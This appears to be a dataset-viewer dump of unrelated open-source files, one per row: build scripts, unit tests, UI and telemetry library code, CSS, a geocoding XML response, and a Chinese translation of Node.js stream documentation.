text
stringlengths
2
100k
meta
dict
file(GLOB Eigen_src_subdirectories "*") escape_string_as_regex(ESCAPED_CMAKE_CURRENT_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}") foreach(f ${Eigen_src_subdirectories}) if(NOT f MATCHES "\\.txt" AND NOT f MATCHES "${ESCAPED_CMAKE_CURRENT_SOURCE_DIR}/[.].+" ) add_subdirectory(${f}) endif() endforeach()
{ "pile_set_name": "Github" }
require('../../modules/es6.array.for-each'); module.exports = require('../../modules/_core').Array.forEach;
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <string xmlns="http://tempuri.org/">{ "Info": [ { "IsSuccess": "True", "InAddress": "苗栗縣卓蘭鎮老庄里中正路142號", "InSRS": "EPSG:4326", "InFuzzyType": "[單雙號機制]+[最近門牌號機制]", "InFuzzyBuffer": "0", "InIsOnlyFullMatch": "False", "InIsLockCounty": "True", "InIsLockTown": "False", "InIsLockVillage": "False", "InIsLockRoadSection": "False", "InIsLockLane": "False", "InIsLockAlley": "False", "InIsLockArea": "False", "InIsSameNumber_SubNumber": "True", "InCanIgnoreVillage": "True", "InCanIgnoreNeighborhood": "True", "InReturnMaxCount": "0", "OutTotal": "1", "OutMatchType": "完全比對", "OutMatchCode": "[苗栗縣]\tFULL:1", "OutTraceInfo": "[苗栗縣]\t { 完全比對 } 找到符合的門牌地址" } ], "AddressList": [ { "FULL_ADDR": "苗栗縣卓蘭鎮老庄里20鄰中正路142號", "COUNTY": "苗栗縣", "TOWN": "卓蘭鎮", "VILLAGE": "老庄里", "NEIGHBORHOOD": "20鄰", "ROAD": "中正路", "SECTION": "", "LANE": "", "ALLEY": "", "SUB_ALLEY": "", "TONG": "", "NUMBER": "142號", "X": 120.831357, "Y": 24.312629 } ] }</string>
{ "pile_set_name": "Github" }
/*- * #%L * Soot - a J*va Optimization Framework * %% * Copyright (C) 1997 - 2018 Raja Vallée-Rai and others * %% * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 2.1 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Lesser Public License for more details. * * You should have received a copy of the GNU General Lesser Public * License along with this program. If not, see * <http://www.gnu.org/licenses/lgpl-2.1.html>. * #L% */ class Helper { public static void main(String [] args){ } public void action(){ System.out.println("Helper"); } } public class Test19 { public static void main (String [] args){ Test19 t19 = new Test19(); t19.run(); } public void run(){ final String atMe = getString(); new Helper () { public void action(){ System.out.println("Smile: "+atMe); } }.action(); } public String getString(){ return "atMe"; } }
{ "pile_set_name": "Github" }
package com.sksamuel.hoplite.arrow import arrow.core.None import arrow.core.Option import arrow.core.Some import com.sksamuel.hoplite.ConfigLoader import io.kotest.core.spec.style.FunSpec import io.kotest.matchers.shouldBe import java.util.* class OptionTest : FunSpec({ test("support Options") { data class Foo(val a: Option<String>, val b: Option<Long>, val c: Option<String>, val d: Option<Long>, val e: Option<UUID>) val foo = ConfigLoader().loadConfigOrThrow<Foo>("/options.yml") foo.a shouldBe None foo.b shouldBe None foo.c shouldBe Some("hello") foo.d shouldBe Some(123L) foo.e shouldBe Some(UUID.fromString("383d27c5-d087-4d36-b4c4-6dd7defe088d")) } })
{ "pile_set_name": "Github" }
/* * Copyright (c) 2010-2017, sikuli.org, sikulix.com - MIT license */ package org.jdesktop.swingx.plaf; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import javax.swing.JComponent; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.UIDefaults; import javax.swing.plaf.TextUI; import javax.swing.plaf.basic.BasicTextUI; import javax.swing.text.JTextComponent; import org.jdesktop.swingx.JXSearchField; import org.jdesktop.swingx.prompt.BuddySupport; /** * TODO: * * @author Peter Weishapl <[email protected]> * * @param <UI> */ public abstract class TextUIWrapper<UI extends TextUI> { private static final DefaultWrapper defaultWrapper = new DefaultWrapper(); public static final TextUIWrapper<? extends PromptTextUI> getDefaultWrapper() { return defaultWrapper; } private Class<UI> wrapperClass; protected TextUIWrapper(Class<UI> wrapperClass) { this.wrapperClass = wrapperClass; } /** * <p> * Wraps and replaces the current UI of the given <code>textComponent</code>, by calling * {@link #wrapUI(JTextComponent)} if necessary. * </p> * * @param textComponent * @param stayOnUIChange * if <code>true</code>, a {@link PropertyChangeListener} is registered, which * listens for UI changes and wraps any new UI object. */ public final void install(final JTextComponent textComponent, boolean stayOnUIChange) { replaceUIIfNeeded(textComponent); if (stayOnUIChange) { uiChangeHandler.install(textComponent); } } /** * Wraps and replaces the text components current UI by calling {@link #wrapUI(TextUI)}, if the * text components current UI is not an instance of the given wrapper class. * * @param textComponent * @return <code>true</code> if the UI has been replaced */ protected boolean replaceUIIfNeeded(JTextComponent textComponent) { if (wrapperClass.isAssignableFrom(textComponent.getUI().getClass())) { return false; } textComponent.setUI(wrapUI(textComponent)); return true; } /** * Override to return the appropriate UI wrapper object for the given {@link TextUI}. * * @param textUI * @return the wrapping UI */ public abstract UI wrapUI(JTextComponent textComponent); /** * Returns the wrapper class. * * @return the wrapper class */ public Class<UI> getWrapperClass() { return wrapperClass; } /** * <p> * Removes the {@link PropertyChangeListener}, which listens for "UI" property changes (if * installed) and then calls {@link JComponent#updateUI()} on the <code>textComponent</code> to * set the UI object provided by the current {@link UIDefaults}. * </p> * * @param textComponent */ public final void uninstall(final JTextComponent textComponent) { uiChangeHandler.uninstall(textComponent); textComponent.updateUI(); } private final TextUIChangeHandler uiChangeHandler = new TextUIChangeHandler(); private final class TextUIChangeHandler extends AbstractUIChangeHandler { @Override public void propertyChange(PropertyChangeEvent evt) { JTextComponent txt = (JTextComponent) evt.getSource(); replaceUIIfNeeded(txt); } } public static final class DefaultWrapper extends TextUIWrapper<PromptTextUI> { private DefaultWrapper() { super(PromptTextUI.class); } /** * <p> * Creates a new {@link PromptTextUI}, which wraps the given <code>textComponent</code>s UI. * </p> * <p> * If the UI is already of type {@link PromptTextUI}, it will be returned. If * <code>textComponent</code> is of type {@link JXSearchField} a new {@link SearchFieldUI} * object will be returned. If <code>textComponent</code> is of type {@link JTextField} or * {@link JTextArea} a {@link BuddyTextFieldUI} or {@link PromptTextAreaUI} will be * returned, respectively. If the UI is of any other type, a * {@link IllegalArgumentException} will be thrown. * </p> * * @param textComponent * wrap this components UI * @return a {@link PromptTextUI} which wraps the <code>textComponent</code>s UI. */ @Override public PromptTextUI wrapUI(JTextComponent textComponent) { TextUI textUI = textComponent.getUI(); if (textUI instanceof PromptTextUI) { return (PromptTextUI) textUI; } else if (textComponent instanceof JXSearchField) { return new SearchFieldUI(textUI); } else if (textComponent instanceof JTextField) { return new BuddyTextFieldUI(textUI); } else if (textComponent instanceof JTextArea) { return new PromptTextAreaUI(textUI); } throw new IllegalArgumentException("ui implementation not supported: " + textUI.getClass()); } /** * Every time the UI needs to be replaced we also need to make sure, that all buddy * components are also in the component hierarchy. (That's because {@link BasicTextUI} * removes all our buddies upon UI changes). */ @Override protected boolean replaceUIIfNeeded(JTextComponent textComponent) { boolean replaced = super.replaceUIIfNeeded(textComponent); if (replaced && textComponent instanceof JTextField) { BuddySupport.ensureBuddiesAreInComponentHierarchy((JTextField) textComponent); } return replaced; } } }
{ "pile_set_name": "Github" }
GLFW_ICON ICON "glfw.ico"
{ "pile_set_name": "Github" }
############################################################# # # SAWMAN # ############################################################# SAWMAN_VERSION = 1.4.16 SAWMAN_SOURCE = SaWMan-$(SAWMAN_VERSION).tar.gz SAWMAN_SITE = http://www.directfb.org/downloads/Extras SAWMAN_INSTALL_STAGING = YES SAWMAN_DEPENDENCIES = directfb $(eval $(autotools-package))
{ "pile_set_name": "Github" }
.lcontainer { width: 100%; height: 100%; display: flex; flex-direction: column; align-items: center; justify-content: flex-start; background: #fff; } .section { width: 750rpx; height: 225px; display: flex; flex-direction: column; align-items: center } .section video { width: 300px; height: 100%; } .letitle { width: 750rpx; height: 80rpx; line-height: 80rpx; text-indent: 30rpx; color: #d7b039; } .main-nav { width: 100%; height: 35px; } .main-nav ul { height: 35px; display: flex; } .main-nav ul li { height: 35px; flex: 1; line-height: 35px; text-align: center; border-bottom: solid 1px #d9d9d9; font-size: 14px; box-sizing: border-box; } .main-nav ul li.active { border-bottom: solid 2px #2569c3; color: #2569c3; } .main-list { flex: 1; width: 100%; overflow: hidden; } .main-list scroll-view { height: 100%; } scroll-view ul { width: 100%; height: 100%; display: flex; flex-direction: column; } scroll-view li { height: 80rpx; border-top: 1rpx solid #d4d1de; background: #fff; box-sizing: border-box; padding-left: 40rpx; display: flex; align-items: center; line-height: 80rpx; font-size: 30rpx; } scroll-view li image { width: 40rpx; height: 40rpx; margin-right: 10rpx; }
{ "pile_set_name": "Github" }
/* roadmap_zlib.h * * LICENSE: * * Copyright 2009 Avi R. * * RoadMap is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License V2 as published by * the Free Software Foundation. * * RoadMap is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with RoadMap; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef INCLUDE__ROADMAP_ZLIB__H #define INCLUDE__ROADMAP_ZLIB__H #include "zlib/zlib.h" int roadmap_zlib_compress (const char* in_path, const char* in_file, const char* out_path, const char* out_file, int level,BOOL isLogFile); #endif //INCLUDE__ROADMAP_ZLIB__H
{ "pile_set_name": "Github" }
///////////////////////////////////////////////////////////////////////////// // // (C) Copyright Ion Gaztanaga 2006-2013 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/intrusive for documentation. // ///////////////////////////////////////////////////////////////////////////// #ifndef BOOST_INTRUSIVE_DETAIL_ASSERT_HPP #define BOOST_INTRUSIVE_DETAIL_ASSERT_HPP #ifndef BOOST_CONFIG_HPP # include <boost/config.hpp> #endif #if defined(BOOST_HAS_PRAGMA_ONCE) #pragma once #endif #if !defined(BOOST_INTRUSIVE_INVARIANT_ASSERT) #include <boost/assert.hpp> #define BOOST_INTRUSIVE_INVARIANT_ASSERT BOOST_ASSERT #elif defined(BOOST_INTRUSIVE_INVARIANT_ASSERT_INCLUDE) #include BOOST_INTRUSIVE_INVARIANT_ASSERT_INCLUDE #endif #if !defined(BOOST_INTRUSIVE_SAFE_HOOK_DEFAULT_ASSERT) #include <boost/assert.hpp> #define BOOST_INTRUSIVE_SAFE_HOOK_DEFAULT_ASSERT BOOST_ASSERT #elif defined(BOOST_INTRUSIVE_SAFE_HOOK_DEFAULT_ASSERT_INCLUDE) #include BOOST_INTRUSIVE_SAFE_HOOK_DEFAULT_ASSERT_INCLUDE #endif #if !defined(BOOST_INTRUSIVE_SAFE_HOOK_DESTRUCTOR_ASSERT) #include <boost/assert.hpp> #define BOOST_INTRUSIVE_SAFE_HOOK_DESTRUCTOR_ASSERT BOOST_ASSERT #elif defined(BOOST_INTRUSIVE_SAFE_HOOK_DESTRUCTOR_ASSERT_INCLUDE) #include BOOST_INTRUSIVE_SAFE_HOOK_DESTRUCTOR_ASSERT_INCLUDE #endif #endif //BOOST_INTRUSIVE_DETAIL_ASSERT_HPP
{ "pile_set_name": "Github" }
package org.jetbrains.plugins.clojure.parser; import com.intellij.psi.stubs.EmptyStub; import com.intellij.psi.tree.IElementType; import com.intellij.psi.tree.IStubFileElementType; import com.intellij.psi.tree.TokenSet; import org.jetbrains.plugins.clojure.lexer.ClojureTokenTypes; import org.jetbrains.plugins.clojure.psi.ClStubElementType; import org.jetbrains.plugins.clojure.psi.api.ClKeyword; import org.jetbrains.plugins.clojure.psi.api.defs.ClDef; import org.jetbrains.plugins.clojure.psi.api.ns.ClNs; import org.jetbrains.plugins.clojure.psi.impl.list.ClListImpl; import org.jetbrains.plugins.clojure.psi.stubs.api.ClDefStub; import org.jetbrains.plugins.clojure.psi.stubs.api.ClKeywordStub; import org.jetbrains.plugins.clojure.psi.stubs.api.ClNsStub; import org.jetbrains.plugins.clojure.psi.stubs.elements.*; import org.jetbrains.plugins.clojure.psi.stubs.elements.ns.ClCreateNsElementType; import org.jetbrains.plugins.clojure.psi.stubs.elements.ns.ClInNsElementType; import org.jetbrains.plugins.clojure.psi.stubs.elements.ns.ClNsElementType; /** * User: peter * Date: Nov 21, 2008 * Time: 9:46:12 AM * Copyright 2007, 2008, 2009 Red Shark Technology * <p/> * http://www.apache.org/licenses/LICENSE-2.0 * <p/> * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ public interface ClojureElementTypes extends ClojureTokenTypes { final IStubFileElementType FILE = new ClStubFileElementType(); final IElementType TOPLIST = new ClojureElementType("toplist"); final ClStubElementType<EmptyStub, ClListImpl> LIST = new ClListElementType(); final IElementType VECTOR = new ClojureElementType("vector"); final IElementType MAP = new ClojureElementType("map"); final IElementType SET = new ClojureElementType("map"); final ClStubElementType<ClDefStub, ClDef> DEF = new ClDefElementType(); final ClStubElementType<ClDefStub, ClDef> DEFMETHOD = new ClDefMethodElementType(); final ClStubElementType<ClKeywordStub, ClKeyword> KEYWORD = new ClKeywordElementType(); final ClStubElementType<ClNsStub, ClNs> NS = new ClNsElementType(); final ClStubElementType<ClNsStub, ClNs> IN_NS = new ClInNsElementType(); final ClStubElementType<ClNsStub, ClNs> CREATE_NS = new ClCreateNsElementType(); final IElementType MAP_ENTRY = new ClojureElementType("map"); final IElementType LITERAL = new ClojureElementType("literal"); final IElementType SYMBOL = new ClojureElementType("symbol"); final IElementType IMPLICIT_ARG = new ClojureElementType("function argument"); final IElementType BINDINGS = new ClojureElementType("bindings"); final IElementType REST = new ClojureElementType("rest"); final IElementType AS = new ClojureElementType("as"); final IElementType EXPRESSION = new ClojureElementType("expression"); final IElementType QUOTED_FORM = new ClojureElementType("quoted expression"); final IElementType BACKQUOTED_EXPRESSION = new ClojureElementType("backquoted expression"); final IElementType SHARP_EXPRESSION = new ClojureElementType("pound expression"); final IElementType META_FORM = new ClojureElementType("up expression"); final IElementType METADATA = new ClojureElementType("poundup expression"); final IElementType TILDA_EXPRESSION = new ClojureElementType("tilda expression"); final IElementType AT_EXPRESSION = new ClojureElementType("at expression"); final IElementType TILDAAT_EXPRESSION = new ClojureElementType("tildaat expression"); TokenSet LIST_LIKE_FORMS = TokenSet.create(LIST, VECTOR, MAP, SET, DEF, DEFMETHOD, NS, IN_NS, CREATE_NS); TokenSet BRACES = TokenSet.create(LEFT_CURLY, LEFT_PAREN, LEFT_SQUARE, RIGHT_CURLY, RIGHT_PAREN, RIGHT_SQUARE); TokenSet MODIFIERS = TokenSet.create(SHARP, UP, SHARPUP, TILDA, AT, TILDAAT, QUOTE, BACKQUOTE); }
{ "pile_set_name": "Github" }
//* This file is part of the MOOSE framework //* https://www.mooseframework.org //* //* All rights reserved, see COPYRIGHT for full restrictions //* https://github.com/idaholab/moose/blob/master/COPYRIGHT //* //* Licensed under LGPL 2.1, please see LICENSE for details //* https://www.gnu.org/licenses/lgpl-2.1.html #include "gtest/gtest.h" #include <vector> #include "Calculators.h" #include "libmesh/communicator.h" #include "libmesh/parallel_object.h" using namespace StochasticTools; TEST(StochasticTools, Calculators) { const std::vector<Real> x = {6, 1, 7, 3, 4, 5, 2}; Parallel::Communicator comm; ParallelObject po(comm); { Mean calc(po); EXPECT_EQ(calc.compute(x, false), 4); } { Min calc(po); EXPECT_EQ(calc.compute(x, false), 1); } { Max calc(po); EXPECT_EQ(calc.compute(x, false), 7); } { Sum calc(po); EXPECT_EQ(calc.compute(x, false), 28); } { StdDev calc(po); EXPECT_EQ(calc.compute(x, false), 2.1602468994692869408); } { StdErr calc(po); EXPECT_EQ(calc.compute(x, false), 0.81649658092772603446); } { Ratio calc(po); EXPECT_EQ(calc.compute(x, false), 7); } { L2Norm calc(po); EXPECT_EQ(calc.compute(x, false), 11.832159566199232259); } }
{ "pile_set_name": "Github" }
// Copyright The OpenTelemetry Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package processorhelper import ( "context" "errors" "go.opentelemetry.io/collector/component" "go.opentelemetry.io/collector/component/componenterror" "go.opentelemetry.io/collector/config/configmodels" "go.opentelemetry.io/collector/consumer" "go.opentelemetry.io/collector/consumer/pdata" "go.opentelemetry.io/collector/obsreport" ) // ErrSkipProcessingData is a sentinel value to indicate when traces or metrics should intentionally be dropped // from further processing in the pipeline because the data is determined to be irrelevant. A processor can return this error // to stop further processing without propagating an error back up the pipeline to logs. var ErrSkipProcessingData = errors.New("sentinel error to skip processing data from the remainder of the pipeline") // Start specifies the function invoked when the processor is being started. type Start func(context.Context, component.Host) error // Shutdown specifies the function invoked when the processor is being shutdown. type Shutdown func(context.Context) error // TProcessor is a helper interface that allows avoiding implementing all functions in TraceProcessor by using NewTraceProcessor. type TProcessor interface { // ProcessTraces is a helper function that processes the incoming data and returns the data to be sent to the next component. // If error is returned then returned data are ignored. It MUST not call the next component. ProcessTraces(context.Context, pdata.Traces) (pdata.Traces, error) } // MProcessor is a helper interface that allows avoiding implementing all functions in MetricsProcessor by using NewTraceProcessor. type MProcessor interface { // ProcessMetrics is a helper function that processes the incoming data and returns the data to be sent to the next component. // If error is returned then returned data are ignored. It MUST not call the next component. ProcessMetrics(context.Context, pdata.Metrics) (pdata.Metrics, error) } // LProcessor is a helper interface that allows avoiding implementing all functions in LogsProcessor by using NewLogsProcessor. type LProcessor interface { // ProcessLogs is a helper function that processes the incoming data and returns the data to be sent to the next component. // If error is returned then returned data are ignored. It MUST not call the next component. ProcessLogs(context.Context, pdata.Logs) (pdata.Logs, error) } // Option apply changes to internalOptions. type Option func(*baseProcessor) // WithStart overrides the default Start function for an processor. // The default shutdown function does nothing and always returns nil. func WithStart(start Start) Option { return func(o *baseProcessor) { o.start = start } } // WithShutdown overrides the default Shutdown function for an processor. // The default shutdown function does nothing and always returns nil. func WithShutdown(shutdown Shutdown) Option { return func(o *baseProcessor) { o.shutdown = shutdown } } // WithShutdown overrides the default GetCapabilities function for an processor. // The default GetCapabilities function returns mutable capabilities. func WithCapabilities(capabilities component.ProcessorCapabilities) Option { return func(o *baseProcessor) { o.capabilities = capabilities } } // internalOptions contains internalOptions concerning how an Processor is configured. type baseProcessor struct { fullName string start Start shutdown Shutdown capabilities component.ProcessorCapabilities } // Construct the internalOptions from multiple Option. func newBaseProcessor(fullName string, options ...Option) baseProcessor { be := baseProcessor{ fullName: fullName, capabilities: component.ProcessorCapabilities{MutatesConsumedData: true}, } for _, op := range options { op(&be) } return be } // Start the processor, invoked during service start. func (bp *baseProcessor) Start(ctx context.Context, host component.Host) error { if bp.start != nil { return bp.start(ctx, host) } return nil } func (bp *baseProcessor) GetCapabilities() component.ProcessorCapabilities { return bp.capabilities } // Shutdown the processor, invoked during service shutdown. func (bp *baseProcessor) Shutdown(ctx context.Context) error { if bp.shutdown != nil { return bp.shutdown(ctx) } return nil } type tracesProcessor struct { baseProcessor processor TProcessor nextConsumer consumer.TraceConsumer } func (mp *tracesProcessor) ConsumeTraces(ctx context.Context, td pdata.Traces) error { processorCtx := obsreport.ProcessorContext(ctx, mp.fullName) var err error td, err = mp.processor.ProcessTraces(processorCtx, td) if err != nil { return err } return mp.nextConsumer.ConsumeTraces(ctx, td) } // NewTraceProcessor creates a TraceProcessor that ensure context propagation and the right tags are set. // TODO: Add observability metrics support func NewTraceProcessor( config configmodels.Processor, nextConsumer consumer.TraceConsumer, processor TProcessor, options ...Option, ) (component.TraceProcessor, error) { if processor == nil { return nil, errors.New("nil processor") } if nextConsumer == nil { return nil, componenterror.ErrNilNextConsumer } return &tracesProcessor{ baseProcessor: newBaseProcessor(config.Name(), options...), processor: processor, nextConsumer: nextConsumer, }, nil } type metricsProcessor struct { baseProcessor processor MProcessor nextConsumer consumer.MetricsConsumer } func (mp *metricsProcessor) ConsumeMetrics(ctx context.Context, md pdata.Metrics) error { processorCtx := obsreport.ProcessorContext(ctx, mp.fullName) var err error md, err = mp.processor.ProcessMetrics(processorCtx, md) if err != nil { if err == ErrSkipProcessingData { return nil } return err } return mp.nextConsumer.ConsumeMetrics(ctx, md) } // NewMetricsProcessor creates a MetricsProcessor that ensure context propagation and the right tags are set. // TODO: Add observability metrics support func NewMetricsProcessor( config configmodels.Processor, nextConsumer consumer.MetricsConsumer, processor MProcessor, options ...Option, ) (component.MetricsProcessor, error) { if processor == nil { return nil, errors.New("nil processor") } if nextConsumer == nil { return nil, componenterror.ErrNilNextConsumer } return &metricsProcessor{ baseProcessor: newBaseProcessor(config.Name(), options...), processor: processor, nextConsumer: nextConsumer, }, nil } type logProcessor struct { baseProcessor processor LProcessor nextConsumer consumer.LogsConsumer } func (lp *logProcessor) ConsumeLogs(ctx context.Context, ld pdata.Logs) error { processorCtx := obsreport.ProcessorContext(ctx, lp.fullName) var err error ld, err = lp.processor.ProcessLogs(processorCtx, ld) if err != nil { return err } return lp.nextConsumer.ConsumeLogs(ctx, ld) } // NewLogsProcessor creates a LogsProcessor that ensure context propagation and the right tags are set. // TODO: Add observability metrics support func NewLogsProcessor( config configmodels.Processor, nextConsumer consumer.LogsConsumer, processor LProcessor, options ...Option, ) (component.LogsProcessor, error) { if processor == nil { return nil, errors.New("nil processor") } if nextConsumer == nil { return nil, componenterror.ErrNilNextConsumer } return &logProcessor{ baseProcessor: newBaseProcessor(config.Name(), options...), processor: processor, nextConsumer: nextConsumer, }, nil }
{ "pile_set_name": "Github" }
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_BOOKMARKS_BROWSER_BOOKMARK_EXPANDED_STATE_TRACKER_H_ #define COMPONENTS_BOOKMARKS_BROWSER_BOOKMARK_EXPANDED_STATE_TRACKER_H_ #include <set> #include "base/macros.h" #include "components/bookmarks/browser/base_bookmark_model_observer.h" class PrefService; namespace bookmarks { class BookmarkModel; class BookmarkNode; // BookmarkExpandedStateTracker is used to track a set of expanded nodes. The // nodes are persisted in preferences. If an expanded node is removed from the // model BookmarkExpandedStateTracker removes the node. class BookmarkExpandedStateTracker : public BaseBookmarkModelObserver { public: typedef std::set<const BookmarkNode*> Nodes; BookmarkExpandedStateTracker(BookmarkModel* bookmark_model, PrefService* pref_service); ~BookmarkExpandedStateTracker() override; // The set of expanded nodes. void SetExpandedNodes(const Nodes& nodes); Nodes GetExpandedNodes(); private: // BaseBookmarkModelObserver: void BookmarkModelLoaded(BookmarkModel* model, bool ids_reassigned) override; void BookmarkModelChanged() override; void BookmarkModelBeingDeleted(BookmarkModel* model) override; void BookmarkNodeRemoved(BookmarkModel* model, const BookmarkNode* parent, int old_index, const BookmarkNode* node, const std::set<GURL>& removed_urls) override; void BookmarkAllUserNodesRemoved(BookmarkModel* model, const std::set<GURL>& removed_urls) override; // Updates the value for |prefs::kBookmarkEditorExpandedNodes| from // GetExpandedNodes(). void UpdatePrefs(const Nodes& nodes); BookmarkModel* bookmark_model_; PrefService* pref_service_; DISALLOW_COPY_AND_ASSIGN(BookmarkExpandedStateTracker); }; } // namespace bookmarks #endif // COMPONENTS_BOOKMARKS_BROWSER_BOOKMARK_EXPANDED_STATE_TRACKER_H_
{ "pile_set_name": "Github" }
import Foundation /// A `TargetType` used to enable `MoyaProvider` to process multiple `TargetType`s. public enum MultiTarget: TargetType { /// The embedded `TargetType`. case target(TargetType) /// Initializes a `MultiTarget`. public init(_ target: TargetType) { self = MultiTarget.target(target) } /// The embedded target's base `URL`. public var path: String { return target.path } /// The baseURL of the embedded target. public var baseURL: URL { return target.baseURL } /// The HTTP method of the embedded target. public var method: Moya.Method { return target.method } /// The sampleData of the embedded target. public var sampleData: Data { return target.sampleData } /// The `Task` of the embedded target. public var task: Task { return target.task } /// The `ValidationType` of the embedded target. public var validationType: ValidationType { return target.validationType } /// The headers of the embedded target. public var headers: [String: String]? { return target.headers } /// The embedded `TargetType`. public var target: TargetType { switch self { case .target(let target): return target } } }
{ "pile_set_name": "Github" }
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * Select which tests to run on circleci. * * If CIRCLE_NODE_TOTAL and CIRCLE_NODE_INDEX environment vars are defined, * tests are parallelized into CIRCLE_NODE_TOTAL runners. The suites are not * exactly the same size and will take a different amount of time to run, * but this is a good place to start. */ function selectCircleTests(allTests, groupsCount, groupNum) { var testsToRun = allTests; if (process.env.CIRCLE_NODE_TOTAL) { console.log('CIRCLE_NODE_INDEX', process.env.CIRCLE_NODE_INDEX); console.log('CIRCLE_NODE_TOTAL', process.env.CIRCLE_NODE_TOTAL); var circleTotal = parseInt(process.env.CIRCLE_NODE_TOTAL, 10); var circleIndex = parseInt(process.env.CIRCLE_NODE_INDEX, 10); testsToRun = allTests.filter((test, index) => { var passes = index % circleTotal === circleIndex; return passes; }); } if (groupsCount && groupNum) { testsToRun = testsToRun.slice( Math.floor(((groupNum - 1) / groupsCount) * testsToRun.length), Math.floor((groupNum / groupsCount) * testsToRun.length) ); } return testsToRun; } module.exports = selectCircleTests;
{ "pile_set_name": "Github" }
'use strict'; var path = require('path'); var osHomedir = require('os-homedir'); var home = osHomedir(); var env = process.env; exports.data = env.XDG_DATA_HOME || (home ? path.join(home, '.local', 'share') : null); exports.config = env.XDG_CONFIG_HOME || (home ? path.join(home, '.config') : null); exports.cache = env.XDG_CACHE_HOME || (home ? path.join(home, '.cache') : null); exports.runtime = env.XDG_RUNTIME_DIR || null; exports.dataDirs = (env.XDG_DATA_DIRS || '/usr/local/share/:/usr/share/').split(':'); if (exports.data) { exports.dataDirs.unshift(exports.data); } exports.configDirs = (env.XDG_CONFIG_DIRS || '/etc/xdg').split(':'); if (exports.config) { exports.configDirs.unshift(exports.config); }
{ "pile_set_name": "Github" }
# Streams 流 stream 是一个抽象接口,node 中有很多对象实现了这个接口。例如,对http 服务器发起请求的request 对象就是 一个stream,还有stdout(标准输出)。Stream 可以是只读、可写,也可以同时可读可写。所有的Stream 对象 都是EventEmitter 的实例。 ##Readable Stream 只读流 一个只读流有如下方法、成员、和事件。 Event: 'data' ``` function (data) { }``` 'data'事件的参数是Buffer(默认情况下),如果调用过setEncoding()方法,则参数为一个字符串。 **Event: 'end'** ``` function () { }``` 此事件在流遇到EOF(在TCP 中为FIN)时被触发,表示该流不会再有数据(不会再次触发'data'事件)。如果该流 也是可写流,则它还可以继续写入。 **Event: 'error'** ``` function (exception) { }``` 在收取数据出错时被触发。 **Event: 'close'** ``` function () { }``` 内部的文件描述符被关闭时被触发,并不是所有的流都会触发此事件。(例如,一个进入的(incoming)HTTP 请 求将不会触发'close'事件)。 **Event: 'fd'** ``` function (fd) { } ``` 当数据流接收到文件描述符信息时触发该事件(一个文件数据流包含两部分信息:文件描述符信息和文件的数 据信息)。本事件只支持Unix 数据流,其他类型的流不会触发该事件。 **stream.readable** 一个布尔值,默认为true。当遇到错误或流读到结尾或者调用destory()函数后,该值被设置为false。 **stream.setEncoding(encoding)** 该函数设置data 事件返回字符串而不是Buffer 对象。编码类型可以设置为"utf8","ascii"或"base64"。 **stream.pause()** 暂停触发data 事件。 **stream.resume()** 恢复触发'data'事件。 **stream.destroy()** 关闭内部的文件描述符。这样该流将不会再触发任何事件。 ##Writable Stream 可写流 一个可写流具备以下方法、成员、和事件。 **Event: 'drain'** ``` function () { }``` 在一个wrire() 方法被调用并返回false 后触发,表明可以安全的再次写入该stream。 **Event: 'error'** ``` function (exception) { } ``` 在异常发生赤错误时被触发。 **Event: 'close'** ``` function () { }``` 当底层的文件描述符已终止时发出。 **stream.writeable** 一个boolean 值,缺省为true ,但是在一个'error'产生或是end() / destroy() 被调用后,会变为false 。 **stream.write(string, encoding='utf8', [fd])** 使用指定的编码将字符串字符串写入到流中。如果字符串已被刷新到内核缓冲区,返回true。返回false 则表明 内核缓冲区已满,数据将在未来被发送出去。'drain'事件用来通知内核缓冲区何时为空。此方法的默认编码为 'utf8'。 如果指定了可选参数fd,它将被当做一个文件描述符并通过流来发送。它只支持UNIX 流,否则会被忽略且没 有任何提示。当用这种方式发送文件描述符时,在流清空之前关闭文件描述符可能导致发送出非法的描述符。 **stream.write(buffer)** 同上,除了使用一个原始缓冲区。 **stream.end()** 通过EOF 或FIN 来终止流。 **stream.end(string, encoding)** 根据指定的编码发送字符串,并通过EOF 或FIN 来终止流。这对于减少发送数据包的数量是非常有用的。 **stream.end(buffer)** 同上,但使用一个缓冲区。 **stream.destroy()** 终止底层的文件描述符,此后流不再发出任何事件。
{ "pile_set_name": "Github" }
